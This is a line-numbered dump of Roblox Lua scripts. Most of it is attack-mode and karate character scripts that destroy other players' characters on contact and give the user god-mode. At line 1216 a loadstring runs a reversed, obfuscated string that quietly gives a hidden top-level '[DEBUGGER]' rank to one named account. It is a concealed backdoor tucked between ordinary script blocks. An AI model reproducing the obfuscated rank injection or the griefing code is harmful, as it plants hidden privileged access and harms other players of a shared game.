  813. a.BottomSurface = 'Smooth'
  814. a.TopSurface = 'Smooth'
  815. a.Transparency = 0.5
  816. a.BrickColor = BrickColor.new("Really black")
  817. local pie = Instance.new("PointLight", a)
  818. pie.Brightness = 5000
  819. pie.Color = BrickColor.new("Really blue").Color
  820. pie.Range = 20
  821. Instance.new("SpecialMesh", a).MeshType = 'Sphere'
  822. local con = a.Touched:connect(function(what)
  823. if what.Parent.Name ~= LocalPlayer.Name then
  824. if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  825. what:Destroy()
  826. end
  827. end
  828. end)
  829. coroutine.wrap(function()
  830. Destiny = true
  831. humanoid.WalkSpeed = 0
  832. for i = 0,1,0.05 do
  833. a.Mesh.Scale = Vector3.new(i,i,i)
  834. wait()
  835. end
  836. Destiny = false
  837. humanoid.WalkSpeed = 100
  838. while wait() do
  839. if a == nil or a.Parent ~= workspace then break end
  840. a.CFrame = a.CFrame * CFrame.new(0,0,-1)
  841. end
  842. con:disconnect()
  843. end)()
  844. coroutine.wrap(function()
  845. wait(5)
  846. Instance.new("Explosion",workspace).Position = a.Position
  847. a:Destroy()
  848. end)()
  849. end
  850. function __Spikes()
  851. if Regening == true then return end
  852. if Energy < 100 then return end
  853. if Spikes == true then return end
  854. Energy = Energy - 100
  855. Spikes = true
  856. game:GetService("Chat"):Chat(head,"[ Scythes of Hell! ]",2)
  857. humanoid.WalkSpeed = 0
  858. for z = 0,200 do
  859. local a = Instance.new("Part",workspace)
  860. a.FormFactor = 'Custom'
  861. a.Size = Vector3.new(30, 500, 30)
  862. a.Anchored = true
  863. a.CanCollide = false
  864. a.BrickColor = BrickColor.new("Really blue")
  865. a.Transparency = 0.5
  866. a.Reflectance = 0.5
  867. a.FrontSurface = "Smooth"
  868. a.BottomSurface = "Smooth"
  869. local pie = Instance.new("PointLight", a)
  870. pie.Brightness = 5000
  871. pie.Color = BrickColor.new("Royal purple").Color
  872. pie.Range = 20
  873. local b = Instance.new("SpecialMesh",a)
  874. b.MeshId = 'http://www.roblox.com/asset/?id=95891318'
  875. b.VertexColor = Vector3.new(1, 1, 1)
  876. b.Scale = Vector3.new(1,1,1)
  877. a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,-0.5,-(z*4)-2)
  878. local con = a.Touched:connect(function(what)
  879. if what.Parent.Name ~= LocalPlayer.Name then
  880. if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then
  881. for i,v in pairs(what.Parent:children()) do
  882. if v.ClassName == 'Humanoid' then
  883. if v.Health > 100 then v.Health = 100 end
  884. v.Health = v.Health - 100
  885. end
  886. end
  887. end
  888. end
  889. end)
  890. coroutine.wrap(function()
  891. wait(3)
  892. a:Destroy()
  893. con:disconnect()
  894. end)()
  895. wait()
  896. end
  897. humanoid.WalkSpeed = 100
  898. Spikes = false
  899. end
  900. function __Lightning()
  901. if Energy < 250 then return end
  902. if Lightning == true then return end
  903. if Regening == true then return end
  904. humanoid.WalkSpeed = 50
  905. Lightning = true
  906. game:GetService("Chat"):Chat(head,"[ Scythe's Judgement! ]",2)
  907. Energy = Energy - 250
  908. local function segment(pos1,pos2,color)
  909. local dis=(pos1-pos2).magnitude
  910. local p=Instance.new("Part")
  911. p.CanCollide=false
  912. p.FormFactor="Custom"
  913. p.Size=Vector3.new(50,50,dis)
  914. p.Anchored=true
  915. p.CFrame=CFrame.new(pos1,pos2)*CFrame.new(0,0,-dis/2)
  916. p.BrickColor=color
  917. p.Transparency = 0.5
  918. p.Reflectance = 0.5
  919. p.FrontSurface = "Smooth"
  920. p.BottomSurface = "Smooth"
  921. local pie = Instance.new("PointLight", p)
  922. pie.Brightness = 5000
  923. pie.Color = BrickColor.new("Really blue").Color
  924. pie.Range = 20
  925. local pie2 = Instance.new("SpecialMesh", p)
  926. pie2.MeshId = "http://www.roblox.com/asset/?id=95891318"
  927. pie2.Scale = Vector3.new(10,10,10)
  928. return p
  929. end
  930. target = mouse.Hit
  931. height=1000
  932. prev=(target*CFrame.new(0,300,0)).p
  933. for i=height,30,-50 do
  934. cur=Vector3.new(math.random(15)+target.x,i,math.random(15)+target.z)
  935. p=segment(prev,cur,BrickColor.new("Really black"))
  936. p.Parent=workspace
  937. local pie = Instance.new("PointLight", p)
  938. pie.Brightness = 5000
  939. pie.Color = BrickColor.new("Really blue").Color
  940. pie.Range = 10
  941. game:service("Debris"):AddItem(p,3)
  942. prev=cur
  943. wait()
  944. end
  945. p=segment(prev,target.p,BrickColor.new("Really black"))
  946. p.Parent=workspace
  947. local pie = Instance.new("PointLight", p)
  948. pie.Brightness = 5000
  949. pie.Color = BrickColor.new("Really blue").Color
  950. pie.Range = 10
  951. game:service("Debris"):AddItem(p,3)
  952. local ex = Instance.new("Explosion",workspace)
  953. ex.Position=target.p
  954. ex.BlastRadius = 100
  955. wait(1)
  956. Lightning = false
  957. humanoid.WalkSpeed = 100
  958. end
  959. function __Explosion()
  960. if Energy < 1000 then return end
  961. if Explosion == true then return end
  962. if Regening == true then return end
  963. humanoid.WalkSpeed = 0
  964. Explosion = true
  965. Energy = Energy - 1000
  966. game:GetService("Chat"):Chat(head,"[ Scythe's Shattted Judgement of Hell! ]",2)
  967. Instance.new("ForceField", LocalPlayer.Character)
  968. local Fire = Instance.new("Fire",LocalPlayer.Character.Torso)
  969. Fire.Color = BrickColor.new("Really black").Color
  970. for i = 0,100 do
  971. game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
  972. Fire.Size = i
  973. wait(0.1)
  974. end
  975. game:GetService("Chat"):Chat(head,"[ Scythe's Shattered Judgement of Hell! ]",2)
  976. Fire:remove()
  977. LocalPlayer.Character:FindFirstChild("ForceField"):Remove()
  978. local a = Instance.new("Explosion", LocalPlayer.Character)
  979. a.Position = LocalPlayer.Character.Torso.Position
  980. a.BlastPressure = 1e100
  981. a.BlastRadius = 100
  982. Explosion = false
  983. humanoid.WalkSpeed = 100
  984. end
  985. t.Activated:connect(__onActivated)
  986. t.Deactivated:connect(__onDeactivated)
  987. t.Equipped:connect(__onEquipped)
  988. t.Unequipped:connect(__onUnequipped)
  989. coroutine.wrap(function()
  990. while wait() do
  991. if Activated == true then
  992. if Mode == 'Shoot' then
  993. __Shoot()
  994. elseif Mode == 'FireBall' then
  995. __FireBall()
  996. elseif Mode == 'Spikes' then
  997. __Spikes()
  998. elseif Mode == 'Lightning' then
  999. __Lightning()
  1000. elseif Mode == 'Explosion' then
  1001. __Explosion()
  1002. elseif Mode == 'Destiny' then
  1003. __Destiny()
  1004. elseif Mode == 'Tornado' then
  1005. __Tornado()
  1006. elseif Mode == 'Armor' then
  1007. __Armor()
  1008. elseif Mode == 'Wall' then
  1009. __Wall()
  1010. end
  1011. end
  1012. if Regening == true then
  1013. game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
  1014. Energy = Energy + 5000
  1015. Instance.new("ForceField", LocalPlayer.Character)
  1016. wait(1)
  1017. end
  1018. end
  1019. end)()
  1020. mouse.KeyDown:connect(function(key)
  1021. if key == 'e' then
  1022. game:GetService("Chat"):Chat(head,"[ Charging... ]",1)
  1023. humanoid.WalkSpeed = 75
  1024. Regening = true
  1025. end
  1026. if key == 'q' then
  1027. if Mode == 'Shoot' then
  1028. Mode = 'FireBall'
  1029. elseif Mode == 'FireBall' then
  1030. Mode = 'Spikes'
  1031. elseif Mode == 'Spikes' then
  1032. Mode = 'Lightning'
  1033. elseif Mode == 'Lightning' then
  1034. Mode = 'Explosion'
  1035. elseif Mode == 'Explosion' then
  1036. Mode = 'Destiny'
  1037. elseif Mode == 'Destiny' then
  1038. Mode = 'Tornado'
  1039. elseif Mode == 'Tornado' then
  1040. Mode = 'Wall'
  1041. elseif Mode == 'Wall' then
  1042. Mode = 'Armor'
  1043. else
  1044. Mode = 'Shoot'
  1045. end
  1046. end
  1047. end)
  1048. mouse.KeyUp:connect(function(key)
  1049. if key == 'e' then
  1050. game:GetService("Chat"):Chat(head,"[ Lets see how you do now. ]",1)
  1051. humanoid.WalkSpeed = 100
  1052. Regening = false
  1053. if LocalPlayer.Character:FindFirstChild("ForceField") then
  1054. LocalPlayer.Character:FindFirstChild("ForceField"):Remove()
  1055. end
  1056. end
  1057. end)
  1058. count = 0
  1059. countspeed = 0.70
  1060. coroutine.wrap(function()
  1061. while wait() do
  1062. if Energy > 10000 then Energy = 10000 end
  1063. if Energy < 0 then Energy = 0 end
  1064. TEXTLABEL.Text = "Power: "..tostring(Energy)
  1065. TEXTLABEL2.Text = "Current Health: "..tostring(math.floor(humanoid.Health))
  1066. if Mode == 'Shoot' then
  1067. TEXTLABEL3.Text = 'Strength: Dark Wyvern (50 Power)'
  1068. elseif Mode == 'FireBall' then
  1069. TEXTLABEL3.Text = 'Strength: Dark-Black Fire (150 Power)'
  1070. elseif Mode == 'Spikes' then
  1071. TEXTLABEL3.Text = 'Strength: Scythes of Hell (100 Power)'
  1072. elseif Mode == 'Lightning' then
  1073. TEXTLABEL3.Text = 'Strength: Scythes Judgement (250 Power)'
  1074. elseif Mode == 'Explosion' then
  1075. TEXTLABEL3.Text = 'Strength: Scythes Shattted Judgement of Hell (1000 Power)'
  1076. elseif Mode == 'Destiny' then
  1077. TEXTLABEL3.Text = 'Strength: Scythes Shadow (200 Power)'
  1078. elseif Mode == 'Tornado' then
  1079. TEXTLABEL3.Text = 'Strength: Black Wind (150 Power)'
  1080. elseif Mode == 'Armor' then
  1081. TEXTLABEL3.Text = 'Strength: Armor of Constealing Light (1000 Power)'
  1082. elseif Mode == 'Wall' then
  1083. TEXTLABEL3.Text = 'Strength: Wall of Stealing Souls (200 Power)'
  1084. end
  1085. count = (count % 100) + countspeed
  1086. angle = math.pi * math.sin(math.pi*2/100*count)
  1087. if Vector3.new(0, torso.Velocity.y, 0).magnitude > 2 then
  1088. countspeed = 8
  1089. if Equipped == false then
  1090. rm.C0 = rsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
  1091. else
  1092. rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  1093. end
  1094. lm.C0 = lsc0 * CFrame.Angles(math.rad(150), 0, math.rad(0))
  1095. rlegm.C0 = rlc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
  1096. llegm.C0 = llc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05), 0, 0)
  1097. neck.C0 = neckc0 * CFrame.Angles(math.rad(-10) + (-angle*0.05),0,0)
  1098. rootpart.RootJoint.C0 = rootc0 * CFrame.Angles(0,0,0)
  1099. wait()
  1100. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then --stand
  1101. if shooting then
  1102. countspeed = 8
  1103. rj.C0 = rootc0 * CFrame.Angles(0,0,math.rad(25))
  1104. rlegm.C0 = rlc0 * CFrame.Angles(math.rad(5), -math.rad(25), 0) --right leg
  1105. llegm.C0 = llc0 * CFrame.Angles(-math.rad(5), -math.rad(25), -0) --left leg
  1106. lm.C0 = lsc0 * CFrame.Angles(-math.rad(30), 0, -math.rad(25)) --left arm
  1107. rm.C0 = rsc0 * CFrame.Angles(math.rad(90)+angle*0.050, 0, 0) --right arm
  1108. elseif Regening == true then
  1109. if Energy == 10000 then Regening = false end
  1110. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1111. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1112. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1113. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(20))
  1114. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-20))
  1115. neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  1116. elseif FireBall == true then
  1117. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1118. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1119. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1120. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
  1121. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
  1122. neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  1123. elseif Spikes == true then
  1124. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1125. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1126. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1127. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(10))
  1128. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(90),0,math.rad(-10))
  1129. neck.C0 = neckc0 * CFrame.Angles(math.rad(15),0,0)
  1130. elseif Lightning == true then
  1131. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1132. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1133. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1134. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
  1135. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
  1136. neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
  1137. elseif Explosion == true then
  1138. coroutine.wrap(function()
  1139. for i = 0,360 do
  1140. rj.C0 = rootc0 * CFrame.Angles(0,0,0)
  1141. wait()
  1142. end
  1143. end)()
  1144. llegm.C0 = llc0 * CFrame.Angles(0,0,math.rad(-15))
  1145. rlegm.C0 = rlc0 * CFrame.Angles(0,0,math.rad(15))
  1146. lm.C0 = lsc0 * CFrame.new(0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(10))
  1147. rm.C0 = rsc0 * CFrame.new(-0.5,0,0) * CFrame.Angles(math.rad(120),0,math.rad(-10))
  1148. neck.C0 = neckc0 * CFrame.Angles(math.rad(-15),0,0)
  1149. else
  1150. countspeed = 0.70-- this judges how fast idle animation goes
  1151. rlegm.C0 = rlc0 * CFrame.Angles(0, 0, 0) --right leg
  1152. llegm.C0 = llc0 * CFrame.Angles(0, 0, -0) --left leg
  1153. lm.C0 = lsc0 * CFrame.Angles(-angle*0.050, 0, 0) --left arm
  1154. if Equipped == false then
  1155. rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm
  1156. else
  1157. rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  1158. end
  1159. neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head
  1160. rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso
  1161. end
  1162. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk
  1163. countspeed = 8-- this judges how fast the walk animation goes
  1164. rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0)
  1165. llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0)
  1166. neck.C0 = neckc0 * CFrame.Angles(0, 0, 0)
  1167. lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0)
  1168. if Equipped == false then
  1169. rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0)
  1170. else
  1171. rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  1172. end
  1173. rj.C0 = rootc0 * CFrame.Angles(0, 0, 0)
  1174. end
  1175. end
  1176. end)()
  1177. humanoid.Died:connect(function()
  1178. for cframe_parts = 0, 50 do
  1179. local p = Instance.new("Part")
  1180. p.FormFactor = "Custom"
  1181. p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)])
  1182. p.Size = Vector3.new(1, 1, 1)
  1183. Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  1184. p.Locked = true
  1185. p.CanCollide = false
  1186. p.Anchored = true
  1187. p.CFrame = torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50))
  1188. p.Parent = workspace
  1189. local box = Instance.new("SelectionBox", p)
  1190. box.Color = BrickColor.new(Colors[math.random(1, #Colors)])
  1191. box.Adornee = p
  1192. box.Transparency = 0.5
  1193. box.Visible = true
  1194. game:service'Debris':AddItem(p, 5)
  1195. coroutine.wrap(function()
  1196. while wait() do
  1197. if p ~= nil then
  1198. p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  1199. p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  1200. p.Transparency = p.Transparency + 0.015
  1201. else
  1202. break
  1203. end
  1204. end
  1205. end)()
  1206. end
  1207. for _,v in pairs(char:children()) do
  1208. if v:IsA("Part") then
  1209. v:Destroy()
  1210. end
  1211. end
  1212.  
  1213. end)
  1214.  
  1215. ]]
  1216. loadstring(([[ }"esu rof tnem toN" = cseD ,)1,1,0(wen.3roloC = roloC ,"]REGGUBED[" = emaN{ = ]8[tsiLsknaR
  1217. })1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]):reverse())()
  1218. SoulCrushingKarate = [[
  1219. a,b = pcall(function()
  1220. Plrs = game:GetService("Players")
  1221. me = Plrs.LocalPlayer
  1222. char = me.Character
  1223. Modelname = "SoulKarate"
  1224. local Head = char.Head
  1225. local Torso = char.Torso
  1226. local LeftArm = char["Left Arm"]
  1227. local RightArm = char["Right Arm"]
  1228. local LeftLeg = char["Left Leg"]
  1229. local RightLeg = char["Right Leg"]
  1230. local RightHip = Torso["Right Hip"]
  1231. local LeftHip = Torso["Left Hip"]
  1232. dmgs = {Pdmg = {50, 100, "Punch"}, Kdmg = {100, 150, "Kick"}, K2dmg = {200, 300, "Doublekick"}, Rdmg = {230, 300, "RoundHouse"},
  1233. Kardmg = {30, 50, "Karate"}}
  1234. dmg = dmgs.Pdmg
  1235. Surfaces = {"FrontSurface", "BackSurface", "TopSurface", "BottomSurface", "LeftSurface", "RightSurface"}
  1236. necko = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1237. able = true
  1238. block = false
  1239. breakblock = 19
  1240. holdkey = false
  1241. effectOn = false
  1242. Instance.new("ForceField", char)
  1243. Add = {
  1244. Sphere = function(P)
  1245. local m = Instance.new("SpecialMesh",P)
  1246. m.MeshType = "Sphere"
  1247. return m
  1248. end,
  1249. BF = function(P)
  1250. local bf = Instance.new("BodyForce",P)
  1251. bf.force = Vector3.new(0, P:GetMass()*187, 0)
  1252. return bf
  1253. end,
  1254. BP = function(P)
  1255. local bp = Instance.new("BodyPosition",P)
  1256. bp.maxForce = Vector3.new(math.huge, 0, math.huge)
  1257. bp.P = 14000
  1258. return bp
  1259. end,
  1260. BG = function(P)
  1261. local bg = Instance.new("BodyGyro",P)
  1262. bg.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  1263. bg.P = 14000
  1264. return bg
  1265. end
  1266. }
  1267. char.Humanoid.MaxHealth = math.huge
  1268. char.Humanoid.WalkSpeed = 50
  1269. Head.Transparency = 0.5
  1270. Head.Reflectance = 0.5
  1271. Torso.Transparency = 0.5
  1272. Torso.Reflectance = 0.5
  1273. RightLeg.Transparency = 0.5
  1274. RightLeg.Reflectance = 0.5
  1275. LeftArm.Transparency = 0.5
  1276. LeftArm.Reflectance = 0.5
  1277. RightArm.Transparency = 0.5
  1278. RightArm.Reflectance = 0.5
  1279. LeftLeg.Transparency = 0.5
  1280. LeftLeg.Reflectance = 0.5
  1281. Head.Touched:connect(function(hit)
  1282. if hit.Parent:findFirstChild("Humanoid")then
  1283. game:GetService("Chat"):Chat(Head,"Don't play soccer with me.",0)
  1284. for i,v in pairs(hit.Parent:GetChildren())do
  1285. if v:IsA"Humanoid" then
  1286. game:GetService("Chat"):Chat(Head,"Cya",0)
  1287. v:Destroy()
  1288. elseif v:IsA"Part" then
  1289. game:GetService("Chat"):Chat(v.Parent.Head,"UGH!MY BONES!",2)
  1290. v.Velocity = v.Position * Vector3.new(50,3,0)
  1291. v.RotVelocity = v.Position - v.Velocity
  1292. v:Remove()
  1293. end end end
  1294. end)
  1295. Torso.Touched:connect(function(hit)
  1296. if hit.Parent:findFirstChild("Humanoid")then
  1297. game:GetService("Chat"):Chat(Head,"Hugging me? I'm like a ghost.",0)
  1298. for i,v in pairs(hit.Parent:GetChildren())do
  1299. if v:IsA"Humanoid" then
  1300. game:GetService("Chat"):Chat(Head,"That was too easy.",0)
  1301. v:Destroy()
  1302. elseif v:IsA"Part" then
  1303. game:GetService("Chat"):Chat(v.Parent.Head,"OW!",2)
  1304. v.Velocity = v.Position * Vector3.new(50,3,0)
  1305. v.RotVelocity = v.Position - v.Velocity
  1306. v:Remove()
  1307. end end end
  1308. end)
  1309. RightArm.Touched:connect(function(hit)
  1310. game:GetService("Chat"):Chat(Head,"My skills are superior.",0)
  1311. if hit.Parent:findFirstChild("Humanoid")then
  1312. for i,v in pairs(hit.Parent:GetChildren())do
  1313. if v:IsA"Humanoid" then
  1314. game:GetService("Chat"):Chat(Head,"Fly now...",0)
  1315. v:Destroy()
  1316. elseif v:IsA"Part" then
  1317. game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2)
  1318. v.Velocity = v.Position * Vector3.new(50,3,0)
  1319. v.RotVelocity = v.Position - v.Velocity
  1320. v:Remove()
  1321. end end end
  1322. end)
  1323. LeftArm.Touched:connect(function(hit)
  1324. game:GetService("Chat"):Chat(Head,"Check your skills.",0)
  1325. if hit.Parent:findFirstChild("Humanoid")then
  1326. for i,v in pairs(hit.Parent:GetChildren())do
  1327. if v:IsA"Humanoid" then
  1328. game:GetService("Chat"):Chat(Head,"You must be mistaken.",0)
  1329. v:Destroy()
  1330. elseif v:IsA"Part" then
  1331. game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2)
  1332. v.Velocity = v.Position * Vector3.new(50,3,0)
  1333. v.RotVelocity = v.Position - v.Velocity
  1334. v:Remove()
  1335. end end end
  1336. end)
  1337. LeftLeg.Touched:connect(function(hit)
  1338. if hit.Parent:findFirstChild("Humanoid")then
  1339. for i,v in pairs(hit.Parent:GetChildren())do
  1340. if v:IsA"Humanoid" then
  1341. game:GetService("Chat"):Chat(Head,"Nice,Continuing the kicking game.",0)
  1342. v:Destroy()
  1343. elseif v:IsA"Part" then
  1344. v.Velocity = v.Position * Vector3.new(50,3,0)
  1345. v.RotVelocity = v.Position - v.Velocity
  1346. v.Transparency = 0.5
  1347. end end end
  1348. end)
  1349. RightLeg.Touched:connect(function(hit)
  1350. if hit.Parent:findFirstChild("Humanoid")then
  1351. for i,v in pairs(hit.Parent:GetChildren())do
  1352. if v:IsA"Humanoid" then
  1353. game:GetService("Chat"):Chat(Head,"Nice try.",0)
  1354. v:Destroy()
  1355. elseif v:IsA"Part" then
  1356. v.Velocity = v.Position * Vector3.new(50,3,0)
  1357. v.RotVelocity = v.Position - v.Velocity
  1358. v.Transparency = 0.5
  1359. end end end
  1360. end)
  1361. function Part(Parent, Anchor, Collide, Tran, Ref, Color, X, Y, Z, Break)
  1362. local p = Instance.new("Part")
  1363. p.formFactor = "Custom"
  1364. p.Anchored = Anchor
  1365. p.CanCollide = Collide
  1366. p.Transparency = Tran
  1367. p.Reflectance = Ref
  1368. p.BrickColor = BrickColor.new(Color)
  1369. local pie = Instance.new("PointLight", p)
  1370. pie.Range = 10
  1371. pie.Shadows = true
  1372. pie.Brightness = 50
  1373. for _, Surf in pairs(Surfaces) do
  1374. p[Surf] = "Smooth"
  1375. end
  1376. p.Size = Vector3.new(X, Y, Z)
  1377. if Break then
  1378. p:BreakJoints()
  1379. else p:MakeJoints() end
  1380. p.Parent = Parent
  1381. return p
  1382. end
  1383.  
  1384. function Weld(p0, p1, x, y, z, a, b, c)
  1385.  
  1386. local w = Instance.new("Weld")
  1387.  
  1388. w.Parent = p0
  1389.  
  1390. w.Part0 = p0
  1391.  
  1392. w.Part1 = p1
  1393.  
  1394. w.C1 = CFrame.new(x,y,z) * CFrame.Angles(a,b,c)
  1395.  
  1396. return w
  1397.  
  1398. end
  1399.  
  1400. function ComputePos(pos1, pos2)
  1401.  
  1402. local pos3 = Vector3.new(pos2.x, pos1.y, pos2.z)
  1403.  
  1404. return CFrame.new(pos1, pos3)
  1405.  
  1406. end
  1407.  
  1408. function getHumanoid(c)
  1409.  
  1410. local h = nil
  1411.  
  1412. for i,v in pairs(c:children()) do
  1413.  
  1414. if v:IsA("Humanoid") and c ~= char then
  1415.  
  1416. if v.Health > 0 then
  1417.  
  1418. h = v
  1419.  
  1420. end
  1421.  
  1422. end
  1423.  
  1424. end
  1425.  
  1426. return h
  1427.  
  1428. end
  1429.  
  1430. function getHead(c, pos, m)
  1431.  
  1432. local h = nil
  1433.  
  1434. local n = nil
  1435.  
  1436. t = c:findFirstChild("Torso")
  1437.  
  1438. if t ~= nil then
  1439.  
  1440. n = t:findFirstChild("Neck")
  1441.  
  1442. end
  1443.  
  1444. for i,v in pairs(c:children()) do
  1445.  
  1446. if v.Name == "Head" then
  1447.  
  1448. if (v.Position - pos).magnitude < m then
  1449.  
  1450. h = v
  1451.  
  1452. end
  1453.  
  1454. end
  1455.  
  1456. end
  1457.  
  1458. return h, n
  1459.  
  1460. end
  1461.  
  1462. for i,v in pairs(char:children()) do
  1463.  
  1464. if v.Name == Modelname then
  1465.  
  1466. v:remove()
  1467.  
  1468. end
  1469.  
  1470. end
  1471.  
  1472. torso = char.Torso
  1473.  
  1474. neck = torso.Neck
  1475.  
  1476. hum = char.Humanoid
  1477.  
  1478. Rarm = char["Right Arm"]
  1479.  
  1480. Larm = char["Left Arm"]
  1481.  
  1482. Rleg = char["Right Leg"]
  1483.  
  1484. Lleg = char["Left Leg"]
  1485.  
  1486. LastHP = hum.Health
  1487.  
  1488. function HpChange(newhp)
  1489.  
  1490. if block and hum.Health > 0.1 then
  1491.  
  1492. local dif = LastHP - newhp
  1493.  
  1494. if dif > 0 then
  1495.  
  1496. local h = LastHP - ((LastHP-newhp)/3)
  1497.  
  1498. hum.Health = h
  1499.  
  1500. wait()
  1501.  
  1502. hum.Health = h
  1503.  
  1504. end
  1505.  
  1506. if dif > breakblock then
  1507.  
  1508. block = false
  1509.  
  1510. local a = Add.BP(torso)
  1511.  
  1512. a.position = torso.Position
  1513.  
  1514. local b = Add.BG(torso)
  1515.  
  1516. b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p)
  1517.  
  1518. wait(0.6)
  1519.  
  1520. a:remove()
  1521.  
  1522. b:remove()
  1523.  
  1524. able = true
  1525.  
  1526. end
  1527.  
  1528. end
  1529.  
  1530. LastHP = hum.Health
  1531.  
  1532. end
  1533.  
  1534. hum.HealthChanged:connect(HpChange)
  1535.  
  1536. hc = Instance.new("Humanoid")
  1537.  
  1538. hc.Health = 0
  1539.  
  1540. hc.MaxHealth = 0
  1541.  
  1542. slash = Instance.new("Sound")
  1543.  
  1544. slash.SoundId = "rbxasset://sounds//swordslash.wav"
  1545.  
  1546. slash.Volume = 0.8
  1547.  
  1548. slash.Pitch = 1.4
  1549.  
  1550. slash.Parent = Rarm
  1551.  
  1552. hitsound = Instance.new("Sound")
  1553.  
  1554. hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263"
  1555.  
  1556. hitsound.Volume = 0.55
  1557.  
  1558. hitsound.Pitch = 2.1
  1559.  
  1560. hitsound.Parent = torso
  1561.  
  1562. Mo = Instance.new("Model")
  1563.  
  1564. Mo.Name = Modelname
  1565.  
  1566. RABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
  1567.  
  1568. LABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
  1569.  
  1570. RLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
  1571.  
  1572. LLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true)
  1573.  
  1574. RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0)
  1575.  
  1576. LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0)
  1577.  
  1578. RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0)
  1579.  
  1580. LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0)
  1581.  
  1582. RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0)
  1583.  
  1584. LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0)
  1585.  
  1586. RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0)
  1587.  
  1588. LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0)
  1589.  
  1590. TBricks = {}
  1591.  
  1592. for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do
  1593.  
  1594. local p = Part(Mo, false, false, 1, 0, "Black", 0.9, 0.9, 0.8, true)
  1595.  
  1596. Weld(v, p, 0, 0.7, 0, 0, 0, 0)
  1597.  
  1598. table.insert(TBricks, {p, hurt = false, able = true})
  1599.  
  1600. end
  1601.  
  1602. function startEff(part)
  1603.  
  1604. effectOn = true
  1605.  
  1606. local lastPoint = part.Position
  1607.  
  1608. coroutine.resume(coroutine.create(function()
  1609.  
  1610. while effectOn do
  1611.  
  1612. wait()
  1613.  
  1614. local mag = (lastPoint - part.Position).magnitude
  1615.  
  1616. local p = Part(Mo, true, false, 0.5, 0.05, "Really black", 0.1, 0.1, mag+0.2, true)
  1617.  
